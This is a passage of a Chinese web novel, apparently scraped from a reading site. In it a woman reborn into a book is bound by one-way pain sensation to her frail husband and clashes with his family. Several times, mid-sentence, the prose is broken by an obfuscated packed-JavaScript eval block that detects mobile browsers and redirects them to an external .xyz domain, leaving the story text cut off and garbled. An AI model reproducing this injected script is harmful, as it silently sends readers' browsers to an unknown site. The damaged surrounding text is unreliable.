《与脆皮夫君共享痛感后》 1. 第1章 “尹微月,既然你我结缘不合,二心不同,如今兴武侯府又被抄家软禁,皇上破例开恩准你和离出府,不如咱们就此一别两宽,从此再无相干。” 平静而又淡漠的男音,在尹微月耳畔徐徐响起。 奇怪,怎么会有男人声音?要知道,她已经十五年没有见过男人了。 尹微月下意识抬手抚了抚全身,没有扎入肉里的变异松针,周身湍急的河水也消失不见,她能呼吸了,接着猛吸一口气,睁开眼。 她躺在床上,周遭极其陌生,雕窗外的天阴绵绵的,连带着屋子里也昏暗低沉,房间很大,能看出是复古风格。 可家徒四壁,抬眼只看到墙角处堆了些箱笥,除了身下这张紫檀木雕鸳鸯戏水围栏的大床,便唯余一个黄花梨木的案台,上头连笔墨纸砚都没有。 再抬眼,案台前站着一高瘦男子,他不是现代妆造,而是身着一袭古装青竹色长袍,那袍子已经洗得发白。 尹微月甩了甩头慢慢从床上起身,又回忆了一遍男人刚才的话,意识逐渐清明。 兴武侯府、抄家软禁、和离书,还有个与自己同名同姓的炮灰,这不是她当年看的那本女频爽文《穿去古代当皇后》小说里的内容吗? 这是……穿书了? 压下内心的惊涛骇浪,尹微月试探开口:“……夫君?” 对面男子听到这两个字后冷嗤一声,寒潭般的眸子里浮了抹厌色,“难得,你还记得自己夫君是谁。” 尹微月一噎。 这才想起来,书里原身爱的并不是自己的丈夫霍钧,而是他的堂兄——霍开。 说起原身跟霍钧的这场亲事,那真是一言难尽。 原身是内阁大臣尹建章的嫡女,是尹家最疼爱宠溺的女儿。她心仪的男人根本不是霍家长房之子霍钧,而是三房独子霍开,也就是本书的男主角,可惜他早已与胎穿女主张语琳指腹为婚。 原身向来娇纵,从小到大就没有求而不得的东西。不甘之下,又被庶姐蒙蔽挑唆,竟用了勾栏瓦舍下三滥的手段,寻来能迷晕一头牛的迷药。 只可惜霍开在书里是气运之子,清白自是要留给女主,毫无意外,深夜摸黑被设计之人因书中天道的干预,阴差阳错成小配角霍钧。 第二天清晨,霍钧和原身被发现衣衫不整躺在一张床上。 正当原身以为计谋得逞时,却发现身侧之人不是霍开,她如遭雷劈,失心疯般扯着霍钧前襟大喊:“为什么是你!为什么是你!为什么是你!” 事发之后,不仅原身要死要活,她父亲尹建章也极其暴怒。 尹家和霍家素来立场不同,霍家历代只忠君,而尹家却想做从龙之臣,所以尹建章早已秘密投靠四皇子。 四皇子想要扳倒太子摘得大宝,那么拥有兵权又一心忠君的霍家,就会成为第一个被铲除的对象。所以他是绝对不会让宝贝闺女,嫁进霍家这个危险之地的。 可世上没有不透风的墙,即便霍、尹两家竭力约束奴仆,还是传得沸沸扬扬,至此,整个皇城都知道二人有了肌肤之亲。 也只有原身、霍钧,还有作者读者清楚,他们之间根本什么都没有发生。因为霍钧喝完带迷药的茶,不过三息就晕倒不省人事了。 事已至此,即使尹建章和原身再不愿意也只能嫁给霍钧,且两人的事闹得沸沸扬扬,必得尽早成婚才能止住流言蜚语。 可难就难在霍钧排行老七,他上头还有二房庶子老四霍邱,三房嫡子老五霍开,四房嫡子老六霍羌尚未成家,他不好越过三位哥哥。 但尹建章不依,他闺女已经成了皇城内的笑柄,非要一年内完婚,否则就闹到御前。 霍家也着急。 霍开还好说,早就与女主有婚约在身,可霍邱和霍羌尚未有婚配对象,一时之间也找不到合适的姑娘。 因为根本没有哪个富贵的正经人家,肯一年之内将女儿匆忙潦草嫁出去的,更何况还是为小叔子能尽快成亲而找得缺儿。 大房与二房、四房一番商量权衡利弊后,决定让霍钧在老四和老六前头成婚。 霍开和张语琳的婚期本定在三年后,却因为此事提早完婚,半年后,霍钧和原身也成了亲。 成亲后,原身对霍开仍不能放下,自然要给他守身不肯圆房。而霍钧没有强人所难,不过也不想再度传出闲言碎语令侯府蒙羞,所以他没有去别的房间,只是拿了被褥在卧房的小榻就寝。 平日里,霍钧从不多看原身一眼,更不曾主动与她搭话,仿佛原身就是一个占了他床的物件罢了,本就无谓之人,自然视而不见。 原身虽不爱霍钧,但从小备受瞩目的她哪受得了这等冷落,从来只有她不理旁人,由不得旁人不理她,于是总时不时尖酸刻薄说些混账话。 霍钧性子向来淡漠自是懒得理,只有在原身做得实在过火时,才云淡风轻怼一句,不过也就顶多十几二十个字,说罢便又当对方是透明的。 原身总在霍钧那里吃瘪,于是把所有怨恨都发泄在大房头上,她处处与婆婆和嫂子们作对,把大房搅得翻天覆地、鸡犬不宁。再之后,霍家就出事了,被皇帝圈禁至今已有两年之久。 …… 想到这里,尹微月内心从先前的惊涛骇浪,立刻转变成抑制不住的狂喜。虽然穿书,但能活就好,重生令她兴.奋到连指尖都在颤抖,于是打量眼前人更肆无忌惮了。 霍钧,兴武侯霍安疆的第三子,在霍家族内排行第七,《穿去古代当皇后》小说里的悲情小脆皮,起码在她看过的内容里,这人很惨很非酋。 当然,太多信息她也就不知道了。 《穿去古代当皇后》是尹微月高中同桌推荐她的一部长篇网络小说,当时推荐的原因——里面大反派霍天逆的黑化之路太炸裂。 一夕间所有至亲皆惨死,连他自己也身受重伤,被逼得在濒死线上反复挣扎,最后彻底疯魔黑化。为了报血海深仇连女主都杀,后期简直是酷霸疯的代名词。 读了之后才发现,里面炮灰女n号竟然也叫尹微月,当年同桌还戏谑说,让她一定连夜背诵全文,免得穿书。 不想十五年后,一语成谶。 但背诵全文是不可能的了,她都没等到同桌迷恋的大反派出场,因为她只来得及看完前十章,世界就全面爆发丧尸。 生死关头,她被业余格斗爱好者、酷爱荒野求生的仓库保管大姐救了,大姐心地善良也是孤儿,两人无牵无挂,一路击杀丧尸,历经九死一生,万幸最后进了大山深处。 而手机却在逃离食品厂时掉落,那本《穿去古代当皇后》,就再也没有机会看了。 深山老林里没有人,自然也没有丧尸,从此她们二人开始了,长达十五年的“野人”生活。 尹微月除了跟大姐学习综合格斗术和荒野求生技能外,回忆《穿去古代当皇后》成了她每日唯一的娱乐。因为作者太会卡点断章埋钩子,导致她多年后都在想,第十一章的内容究竟是什么。 就这样,她和大姐在深山老林度过了最平静的十五年,可不幸还是来了,不仅人类,最后甚至连自然界的动植物也开始变异。 大姐熟睡中被一群山蚂蚁吃了脑子,而她则被一棵变异松树缠绕吸干血液,死前被甩进了河里,醒来后就看到纸片人——霍钧。 此刻尹微月不敢相信地再次搓搓脸,真的又活了吗?那和她相依为命的大姐也活了吗? 像是应和她的想法般,一道刺耳的AI机械 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那里仿佛被一排看不见的牙齿重重咬了一下,虽然未出血,但刺痛是那样真实。紧接着她又感觉指头被用力按压了一下,接着又压了一下…… 尹微月难以置信猛地抬头看向霍钧,而那厮正巧也在挤压手指。 尹微月:“……” 难道这就是穿书重活一次的“毒副反应”——单向痛觉感应? 可她绑定的不是同桌嘴里那个——武功高强、疯起来连女主都杀的炸裂大反派吗? 尹微月眉心一跳,心里有种不祥的预感。 于是咬牙切齿重重吐出三个字:“霍、天、逆?” 在听到这三个字后,霍钧那张冰山脸终于有了反应,他声音极淡,全是冷意:“你为何会知道我从未公开的化名?” 霍天逆是他十岁那年犯浑叛逆,给自己起的化名,还没来得及用便让父亲发现,父亲严厉训斥了他。 世上只有皇帝的名讳能担“天”这个字,若被有心人传出去,霍家是要满门抄斩的。年纪尚轻的霍钧这才知晓了此事的严重性,所以除父亲和自己外,再未告诉过第三人。 尹微月:“。” 心塞了,同桌从未告诉她大反派霍天逆,就是前十章里出现的非酋小脆皮,霍钧啊。 果然,小说没看完的内容里全是坑,丧尸害她不浅,竟然霍霍了她两辈子! 但尹微月很快便冷静了下来,毕竟是跟丧尸打过交道的女人,心里素质还是在及格线以上的。 只见她快速选了个不痛的手指塞进嘴里,重重咬出血来。 她很疼,但对面的霍钧却没什么反应。 尹微月笑得僵硬,很好,这痛觉感应果然是单向的。 2. 第2章 早春的风从窗罅透进来,轻轻掀起两人的衣角,此刻霍钧看向尹微月,神色复杂。 而后者同样也在看他,只不过比起霍钧复杂的眼神,尹微月就简单多了,她直接抬眸扫过去,那目光里明明白白写着四个大字:我想杀人。 呵~单向痛觉感应。 这也就是说,她痛死痛活霍钧不会有任何感觉,但霍钧哪怕破块油皮,自己也得陪他一起痛。若这期间霍钧不小心被噶了,那她下一秒就会陪他一起噶。 这不就相当于终身给人当免费保镖,但要随时做好给雇主殉葬的准备,期间还得时不时体会一下雇主全身心的痛疼。 谁能告诉她,霍钧哪来那么大的脸,这穿书的“毒副反应”也未免太毒了。 想到这里,尹微月看男人的眼神不由自主又阴森了一些。 霍钧直接忽视尹微月不善的眸光,低头接着写他的和离书。但发现手指破口处血已经凝固,用力挤也挤不出来,无奈只好又放进嘴里重重咬了一口。 同一时间,尹微月的食指再次锐痛,愤怒的火苗从心脏一直烧到头顶,她额角处的血管不受控制突突跳了两下。 于是乎,男人才刚来得及写完一个血字,布条就被尹微月冲上来抢走。开什么玩笑,痛觉已经和脆皮绑定,一想到接下来他即将面对的血雨腥风就头大。 若此时和离,不就等同于让她送死? 尹微月抢布条的动作略微有些粗鲁,不小心扯了霍钧的衣袖,因为在深山中跟大姐练了十五年的综合格斗术,她力道本能有些大。 而霍钧随即失去重心,下意识朝她一趔趄,这就直接导致她送出去的力没有着力点,于是两人一齐朝着尹微月的方向快速倒退。 就这样一直倒退了十多步,幸亏后方是面墙,要不俩人直接躺地上了。 这就好比甲、乙双方进行牵钩比赛,两方都蓄满全力准备一决胜负,但甲方脚下一滑突然松手,而紧紧拽住绳子的乙方毫无防备,结果很不幸地集体向后倒了一大片。 道理是一样的,所以结果自然差不多,只不过牵钩是一群人的失败,而现在是两个人的尴尬。 房间里,落针可闻。 尹微月后背抵住墙面,霍钧手臂撑在她两侧,与她咫尺之距,两人呼吸不自觉多了些紊乱,气息杂.乱.相交。 一切都太过突然,但霍钧也只愣了须臾,便随即清醒,眉间骤然积起的慌乱很快又铺平消散。 霍钧很高,尹微月只得微微昂首,他的发半束半披,虽然瘦骨嶙峋,颊骨没有一点肉,但容颜依旧如刀削斧斫般精致。再看那眉眼,深邃似星河浩渺,里头仿佛盛着幽潭古泉,平静又深不见底。 尹微月此时近看他比先前的远观,要更震撼得多。 前十章里,她只知道男主霍开俊美无俦、颜如冠玉,是大晟国举世无双的好儿郎,却不知开篇外貌寥寥笔墨的霍钧,竟也仙成这个模样。 前世活到三十一岁的尹微月,从未亲密接触过男人,但毕竟她是心理和生理都健康的成年女性,两人如此近距离接触,瞬间唤醒了她潜藏已久的荷尔蒙。 尹微月眸光不由自主落在他眉眼处,后又慢慢下移,从鼻梁到嘴唇,再沿着坚毅的下颚线,最终定格在那极具诱惑力的喉结上。 空气有点热,她咽了咽唾沫。 当然,尹微月此时是不可能强行拉着霍钧做点什么,毕竟这男人是她痛的根源。 还有他太瘦太弱了,白长这么大个儿,明明刚才抢和离书时,她真的真的真的,只是略微用了一点力气。谁承想,这脆皮竟如那风中弱柳般无用,直直朝她倒过来。 她虽然饥,但仍旧择食。 于是主动推开他,往旁边挪动了一大步。 而霍钧被那略带侵、犯的眼神看得不适,但可能因为对原身实在无感,所以连面上的难堪也懒得给。他表情一如既往的淡漠,稍稍别过头,也往后退了一大步。 “我不和离。”尹微月首先打破沉默,直奔主题,说着毫无压力把手里带血的布条,连同桌上的那两块,一齐撕成了碎布。 看着散落一地的和离书碎片,又听到干脆利落的拒绝,霍钧眼里终于露出抹不耐,“既爱别人,何苦纠缠于我?” “因为,红杏出墙——”尹微月看了他一眼,红唇微顿,戏谑说道,“很好看。” 霍钧:“……” “还留下作甚?白白送上门做妾都不成事,难道尹家嫡女还想脱.光.了倒贴上去不成?”这句话当真歹毒,霍钧要么不开口,一开口就字字诛心。 尹微月轻蹙眉头,她何时要白白送上门给人做妾了? 等等,她没有,但原身确实有,而且就在刚刚! 尹微月忧心忡忡回忆了一下剧情,这可真是说来话太长。 尹建章夫妇对原身十分疼爱,两年前霍家一出事,他便奏请皇上恩准原身与霍钧和离。碍于压力和平衡各大家族,最终皇上同意,破例允准尹微月和离出府。 可尹家几次偷偷派人来催促和离,原身却死活不肯。 无它,唯恋爱脑尔。 侯府主院与三房虽说隔着好几个院子,但禁进也只是不许霍家人出府,府内仍可以自由走动。为了见霍开,原身每日都去三房给三夫人请安,可一旦和离,再见他就是妄想了。 留在霍府的原身,日复一日看着霍开与张语琳同吃同睡,嫉妒之心与日俱增,终于再也忍不下去,她知道霍开每日晡时定会在后花园练拳,于是偷偷跑去找他。 她抛却所有礼数、教条、道德、自尊和脸面,把藏在心底的爱慕一股脑全对霍开说了,并且还说自己身子清白,愿意和离后给他委身做妾。 结果可想而知。 霍开是男主,三观是基本配置,怎可能行此不伦之事。于是他当着三房所有人的面毫不留情训斥弟妇,并令母亲,也就是三夫人陈氏,将原身送回大房。 陈氏原本因为尹微月有个内阁大臣的爹爹,想着日后霍家真有事肯定不会袖手旁观,所以对她颇为友善。 但今日得知原身竟然存了这种龌龊心思便十分气氛,若圈禁期间纳了弟妇为妾,就算最后霍家无罪,那霍开的名声与仕途也全毁了。 这事三房占理,本就护犊子的陈氏把原身从头骂到脚,半点情面没留。反正现在被圈禁,里头都是霍家人,也不存在什么家丑不可外扬,反倒等于抓住大房的一个短处。 经陈氏这么一顿宣扬,霍家可谓人尽皆知,大家这才知道,原身和霍钧至今还未圆房。 原来不是霍钧色迷心窍轻薄了原身,而是原身打一开始钟情和算计的 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大姐还说,两个成年人决定相爱时要慎重,在一起后,如果因为这样或者那样的原因不开心,那么就一定要立刻断、舍、离。之后便收拾好心情,再开始下一次的爱恋,永远都不要执着于一个带给你负能量的爱人。 尹微月是个好学生,她不光拘泥于纸上谈兵,还将大姐的话认真总结了心得,那就是: 天下男人千千万, 对咱不好咱就换; 贱恶渣普要会看, 何必围着一个转。 所以,原身这种为了爱情不顾一切的行为,她很难理解,于是尹微月直直盯着霍钧的眸,末了才轻轻一笑,露出八颗皓齿。 “脱.光了后再贴上去,这个办法不错,既然夫君不介意头顶的绿.帽子,就该早早给我出这主意才对。” 尹微月声音如清泉击石般清脆叮咚,说话时还用手撩了撩鬓边的碎发。她眼眸中杂糅着散漫、戏谑、从容、淡然,却唯独没有羞耻。 霍钧盯着眼前那张笑得有些欠揍的脸,眸色晦暗。 尹微月自是不甘示弱地瞪回去。 荤段子不只男人会说,女人们也会,特别在寂寞山间的夜晚,大姐时常会提起她分手的历任前男友们。 她说自己的每段恋爱都必备一项好处,那就是每晚水.乳.交.融的闺房之乐,让她享受到了极致。 她一点点从外到内,仔仔细细将男女那点事说得透彻,刚开始尹微月还会脸红,时日长了也就习惯了,有时还能接上大姐一两句话茬。 外有丧尸,内困深山老林,连自己能活多久都不知道,偶尔说几句糙话打发一下时间,也就显得不那么没品了。 但熟知原身战斗力的霍钧,这还是第一次吃瘪。 他显然没料到尹微月能说出如此一番不要脸的话来,今日的尹氏跟从前太不一样了,平淡无波的脸终于有了些许裂痕,不知是窘得,还是气得。 他只当她被霍开拒绝后转了性子,良久才憋出一句:“既然不肯和离,那就接一纸休书吧!” 呦呵,挺硬气。 尹微月耸耸肩:“无所谓,只要你觉得这休书在我身上管用。” 3. 第3章 霍钧自是听出了尹微月话里的警告,但他不惧,刚想再撕一块袍子作纸,便被一串急切的敲门声打断了。 “七哥,七哥,三婶在祖母房里闹起来了!”门外是一稚嫩男童的声音,夹杂着哭腔,听着还未到变声期。 尹微月心里结合剧情略微一合计,便知道门外是兴武侯霍安疆的老来子霍东,在霍府这一代男丁中排行老九。 书里原身也是听到霍东来喊人的,霍钧知道此事后没有立刻去老太太那儿,而是直奔三房叫了男女主一道去。 因为能治陈氏几分泼妇相的,唯有她那儿子霍开,但不知怎么搞得,三人大约一炷香才到老太太院里。 而原身当时已经签了和离书,霍家谁死谁活与她无干,于是拿了和离书推开门就去找看守的侍卫,当即便回尹府了。 可尹微月此时却不能不管,既然决定了要暂时做霍家媳妇保命,那未来定要和这帮人相处,所以原身的脏水她不接。 况且这霍府的太夫人,是她看完前十章后印象第二深的,后期霍府被流放,她为了省出口粮给孙子孙女,竟然把自个儿活活饿死了。 身为孤儿没被疼爱过的尹微月很想知道,能为了儿孙舍弃生命的究竟是位怎样的老人。 不等霍钧开门,尹微月抢先一步打开房门,抬眼就看到瘦竹竿一样的小霍东,简直能用皮包骨来形容。书中他才九虚岁,虽然被圈禁的这两年营养不良,瘦骨梭棱,可没想到竟然这么高,得有一米六了吧。 霍家人身高基因真是好的没话说。 此刻霍东稚嫩的脸上满是焦急,眼睫上还挂着未抖落的泪珠,看到尹微月时一怔。 小孩子的脸上藏不住事,那厌恶的痕迹明显,连七嫂都没叫,只抻着头往房里看,然后拘谨小声说道:“七哥,你快去祖母房里看看罢……” 尹微月倒也想得开,她才刚来了一小会儿,这些厌恶都是冲着原身,她自是不往心里去,更何况书里这小p孩死的比较早,她还心疼掉过眼泪呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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张嘴就骂的正是三夫人陈氏,她本就不是个好相与的,胡搅蛮缠从来有一套,如今更因受大房牵连被抄家、软禁心生怨怼。她今日把原身提溜回院子后,心里越想越气,拐个弯就来到老太太这里。 老太太一头白发,满脸皱纹,但面相一看就是位慈祥的老人。她坐在明堂内唯一一把圈椅上,胸膛剧烈起伏,脸上有不正常的红,大约被气得。 大夫人冯氏站在一旁不停给她拍背顺气,听到陈氏辱骂自己两个儿媳妇,再好的脾性也忍不了了。 “三弟妹,紫霄和骏蓉虽然出身商户之家,但两位亲家深明大义,在边疆战乱之际捐了十万军队的粮草,我们这才能击退敌军,他们于江山社稷那是有大功的。 两个儿媳妇从小也是熟读女德女训,养的知书达理,毫不逊色官家女子。她们是我儿三媒六聘娶回来的正房夫人,两人进门更是恪守妇道,没一点错处,你身为长辈,虽说要摆谱,却也不能随意侮辱!” 被冯氏暗讽为长不尊,陈氏冷嗤一声道:“大嫂,你惯是个会扣帽子的,谁家正经媳妇能去勾搭夫兄,上赶着非要给我儿做妾?我嫁入霍家这么多年任劳任怨,现在家给抄的一干二净不说,谁曾想到头来却连个说话的权利都没了。”陈氏说完两手捂着脸,拉着唱腔开始哭嚎。 一提起原身的作风问题,大房便没话能说了,这真是把小辫子送去让人揪。更何况这次侯府大祸临头确实是大房连累了全家,冯氏纵然有一肚子话,却也辩无可辩。 尹微月在门口听得咋舌。 书中说三夫人撒泼耍赖那可是样样精通,尹微月看书时还纳闷,这陈氏虽然是个庶女,但好歹也是出自官宦之家,总归是大家闺秀,而且还是男主的母亲,撒泼也绝对不是她理解的那种撒泼。 可今日她见识到真人版才终于有了答案,原来陈氏的撒泼就是她理解的那种撒泼,且比书上形容的有过之而无不及。 当年在深山闲来无事,尹微月还跟大姐讨论过这篇小说,她抱怨:为何女主偏偏摊上这么个婆婆? 大姐思索了片刻说:大概作者想在男女主的感情路上制造点坎坷,觉得聪明媳妇斗恶婆婆比较有看点,所以才塑造了陈氏这样一个奇葩。 但在书上看人撒泼,跟有人在自己面前撒泼,那是截然不同的两种感觉。 尹微月虽然高一就进了深山,看似没什么生活阅历,但和她朝夕相处的人可是大姐。 大姐为人行事果断,性格豪爽,口齿伶俐能言善辞,不说像诸葛亮那样舌战群儒,但跟泼妇对骂那是手到擒来。 十五年来,大姐的功力没学会十成,也总有六成。她最看不得陈氏这种胡搅蛮缠的人,正准备上前大战一番,却被后面闯进来的一道倩影吸引。 来人身量高挑纤瘦,目测得一米七多,梳着简易的单螺髻,全身上下唯一的首饰只有发上那枚银海棠步摇。 女子额前留两缕垂发,肌肤是不正常的惨白,同样瘦得可怜。但她脚下却莲步轻移,银白色步摇跟着微颤生辉,虽有急事,却不生急态,更显得她端庄娴静、温婉大方。 尹微月心尖一颤,如果不是两年里吃不饱饭亏了身子,这得是个怎样的大美人儿啊。 这不就是文中她第一印象深刻的人吗?不是男主,不是女主,更不是脆皮霍钧,而是冯氏这个十五岁外柔内刚的女儿霍婉瑛。 书里霍婉瑛死的比小霍东还早,死时极为惨烈,这也是尹微月看文的一大遗憾,她被囚禁了两年虽然损了体貌,却没损精气神儿。 尹微月看书时就对霍婉瑛印象极好,现下看了真人,好感度直接爆表,有种网友奔现的既视感。 只可惜,这样一个可人儿却死得那样惨。 霍婉瑛看到尹微月后身子一顿,须臾间脸色变了又变,虽张开口,可“七嫂”二字始终卡在喉咙里出不来。 书里写道,霍家大房一直以为是霍钧欺辱了原身,所以原身嫁进来阖府上下都对她十分包容。尤其这个小姑子,身为女子最能理解流言蜚语对女子的杀伤力,纵使原身尖酸刻薄处处挑事,但她也一直敬着。 直到今日晡时三房后花园内发生的一切,她才知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这种猝不及防的疼让她一个踉跄,双腿一软,就直接往前扑去。 下一瞬尹微月四肢朝下头朝地,脸正对着陈氏的双脚,对方翘头履上垂下的紫色络子,因为她动作太大,正随着掀起的风左右摇摆。 尴尬,如雨后春笋,层出不穷。 明堂内顿时鸦雀无声,在场个个面面相觑,不知这位今日唱得是哪出。 尹微月表面很平静,内心却已发疯,那霍钧是纸扎的吗?走个路还真能摔倒! 5. 第5章 霍婉瑛和霍东此时也顾不上什么前嫌,赶紧将尹微月拉起来。 恰在这时,陈氏先开口点燃了战火。 “呵快瞧瞧,这小脸都蹭上灰了。”陈氏甩甩袖子,眼里全是鄙夷,她嘴角一翘,联合唇周的褶皱,圈出一抹轻蔑的弧度。 “尹家嫡女竟然做那娼.妇行径,这会儿知道犯了大错,过来匍匐行礼,晚了!若你还有半分羞耻之心,就该到外面选个结实的柱子,一头撞上去才对,免得污了我开儿正直的好名声!” 虽然如今霍府风雨飘摇,前路不明,可陈氏对霍开的名声依旧维护的紧。 尹微月站起身,温柔看了眼扶她起来的霍婉瑛和霍东,然后不慌不忙掸去身上的灰尘。从她脸上看不出一丝窘迫和羞愧,不仅大胆迎上陈氏的目光,甚至嘴角还扯出一抹笑,随后轻裘缓带地说道: “瞧三婶说的,您这个勾.引男人的大娼妇还没撞死呢,哪能轮到我这小辈。听闻三叔当年议亲时我公公刚承袭爵位不久,那时咱们兴武侯府战功远不如近年来这般显赫,正是力图繁荣广交世家之际,怎么就能娶了你这个当时还是五品官家的小小庶女?” 陈氏手一抖。 尹微月权当看不见般继续说:“我还听说当年给三叔定的可不是您,而是您陈家主家的嫡女,您的嫡堂姐。谁知还没等媒人上门,在一场赏花宴上,三叔那么巧拾到您绣了情诗的帕子,归还时一见钟情,从那以后便非您不娶。 呵~这老话说的好,别老鸹笑话猪黑不如趁这功夫,我这小娼妇扶您这大娼妇去回廊转转,咱们一道儿选柱子去?” 听听这说的什么话! 冯氏一边奇怪尹微月是怎么知道这事的,一边又觉得她儿子娶了这样的媳妇真是倒了大霉。 贺氏和苏氏被陈氏不为人知的过往惊得心儿颤,霍婉瑛正左右找能用的物什,要将这两个没有妇德的混账轰出去。 老太太差点气背过气去,如今霍家大难临头了,看着自己儿媳妇和孙媳妇如市井泼妇一般对骂,互相揭对方的腌臜事,她觉得自己这把老骨头不如立刻死了好。 “你、你胡说什么,竟敢污蔑到我头上!”陈氏顿时慌了,尹微月一个黄毛丫头怎么会知道这些? 当年她嫁进霍府确实使了手段,这些陈年旧事很不光彩,两家为了清誉都紧紧瞒着,知道此事的奴仆都被打发了。 可以说不管是外头还是霍府,除了两家长辈和当事人外无人知晓。也正因为如此,她这么多年才能高高在上,做个体面的兴武侯府三夫人。 陈氏自然不知道尹微月是能背诵前十章的人,她紧咬后槽牙左右思量了一番,心想定是那成天假仁假义的好大嫂背地里透出去的,于是恨入心髓地朝冯氏剜了一眼。 两人的仇恨瞬间又多了一笔。 陈氏老底当众被揭穿,这搁以前她的陪嫁宋嬷嬷肯定会冲上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14592620|155946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一左一右先扇尹微月两个嘴巴子解气。 可现在,霍府所有的奴仆全部罚没充公,自然没有了宋嬷嬷狗仗人势。陈氏一向知道尹微月刻薄刁钻,但这个侄媳妇向来针对的是冯氏,所以从前她恨不得她再厉害些,最好把冯氏生吞活剥了。 但此时此刻,陈氏对上尹微月后终于体会到了难堪,她犹如一只在众目睽睽之下被拔光了毛的野猪,羞愤之余竟一时没了章法。 尹微月趁这空挡抬头对冯氏说:“母亲,您先扶祖母去次间歇着吧,看三婶这架势一时半会儿不想走,不如就由儿媳陪着三婶唠唠嗑。” 之所以支开她们是因为书里写道,霍钧这个没用的,一炷香后才把男女主带来,这期间陈氏专挑难听的话故意说给老太太听。老太太急火攻心气得小中风,虽然没爆血管,但面部歪了,从此口齿不清,胳膊腿也不利索了。 冯氏抬头看着尹微月这个不贤、不孝、不守妇道的儿媳妇,内心实在复杂,但继续留在这,恐将老太太气吐血。 左右她也做不来妇人嘴上磨架的事,算了,天塌了还有地接着,随她们闹吧,想到此处便扶着老太太进了东次间。 “母亲,您别走,这贱.人污蔑我,您得还我清白呀!”陈氏说着就要往前拉扯,被尹微月眼疾手快一胳膊拽了个趔趄,差点摔了。 空气顿时凝滞。 身后的小霍东怯怯咽了口唾沫:七嫂真有劲儿! 6. 第6章 虽然已过了日哺时分,但今日天空蒙着的一层阴沉,忽然被春风吹散,竟比日中时还亮堂几分,连鸟儿也叫得欢快了些。 踩着刚冒出头的野草,尹微月雄赳赳,气昂昂扯着陈氏快速离开老太太院子,直到她脚步跟不上重重摔倒后,尹微月才松开手。 陈氏这一摔,头和手先着地,额头和手掌破了皮,还见了点血丝儿,她当即“嗷”一嗓子,哭得惊天动地。 跟着追出来的大嫂贺氏、二嫂苏氏、小姑子霍婉瑛、还有小霍东四人,这心就跟荡秋千似的,随着陈氏的哭腔忽上忽下。 谁都没想到尹氏竟如此彪悍,连三老爷都管不了的陈氏,竟让她给拾掇了。 “你、你敢打我?”陈氏满脸的不可思议,一边哭一边浑身冒火,干脆坐在地上不起来,哭红了的双眼仿佛能杀人,“来人呐,开儿,你母亲要被尹氏这个贱.妇杀死了,血,全是血,她们大房合起伙来要杀死我!” 啧啧,这演技。 尹微月却悠闲地两手抱臂,脚后跟着地,前脚掌缓缓提起,连续有节奏地一下一下轻扣地面。她倒要看看陈氏能嚎到几时,反正又不是她的嗓子受累。 至于她那宝贝儿子霍开,不到一炷香的时间,铁定过不来。一想到这茬,禁不住又在心里用国粹,问候了一下霍钧。 “阿嚏!”而三房明堂内,刚刚被问候过的霍钧突然鼻子一痒。 “七弟,你这是……?”霍开以为霍钧是为了尹微月之事而来,但他自诩行得正坐得端,没有什么对不起兄弟的,故而坦坦荡荡。 让他不淡定的是对方狼狈的样子。 只见霍钧头发上粘着几株风干的杂草,向来白净的脸上黑一块灰一块。洗褪了色的青竹色长袍上布满了新鲜的泥垢,均匀得就像在地上打了个滚,膝盖处破损最为严重,甚至晕出斑驳的红色。 霍钧不照铜镜也知道自己身上一片狼藉。 他从主院出来,刚走到三房院前,小径入口处那棵镇宅的老槐树明明长得好好的,不知为何竟突然拦腰折断,直直朝他砸过来。 好在他反应还算及时,往前一跳,然后翻了个滚,才没被树干砸中,虽然后背、手上、腿上都出了血,但起码命保住了。 想起临行前尹微月的诅咒,霍钧面色不由更冷了些。 那女人,还真是乌鸦嘴。 张语琳见状忙说:“我去打盆清水来。” “多谢五嫂,”霍钧开口道谢婉拒:“我无妨,还请五哥五嫂随我去祖母院子,将三婶劝回来。” “我母亲又去祖母跟前闹了?”霍开黑了脸,“她真是一天到晚不让人省心,咱们快去。” …… 前日一场春雨,地上还透着些许湿意,偌大的兴武侯府过分的寂静,只偶尔几声不知名的鸟叫,衬得陈氏的哭声就更加刺耳了。 而整座府邸被官兵围得严严实实,书里说连只苍蝇都飞不出去。这些侍卫不在意里面的人饿死病死还是哭死,只要不出府,一切与他们无干。 尹微月好整以暇盯着还在发飙的陈氏,可旁边几个人就没有这么淡定了。 “三婶别哭了,您快起来吧,七嫂不是故意的,只不过步子迈得急了些,她也没料到您能摔着。”霍婉瑛一看这样闹下去也不是办法,如实说出自己看到的,便上前伸手扶陈氏,“幸好伤口不严重,我带您回去用清水冲洗一下。” “别碰我,你别的不会,你母亲那套假惺惺倒学得淋漓尽致!”说着一把推开霍婉瑛,后者本来就饿得头晕眼花,加上没有防备,结结实实摔了一个屁股蹲儿。 这可把尹微月心疼坏了。 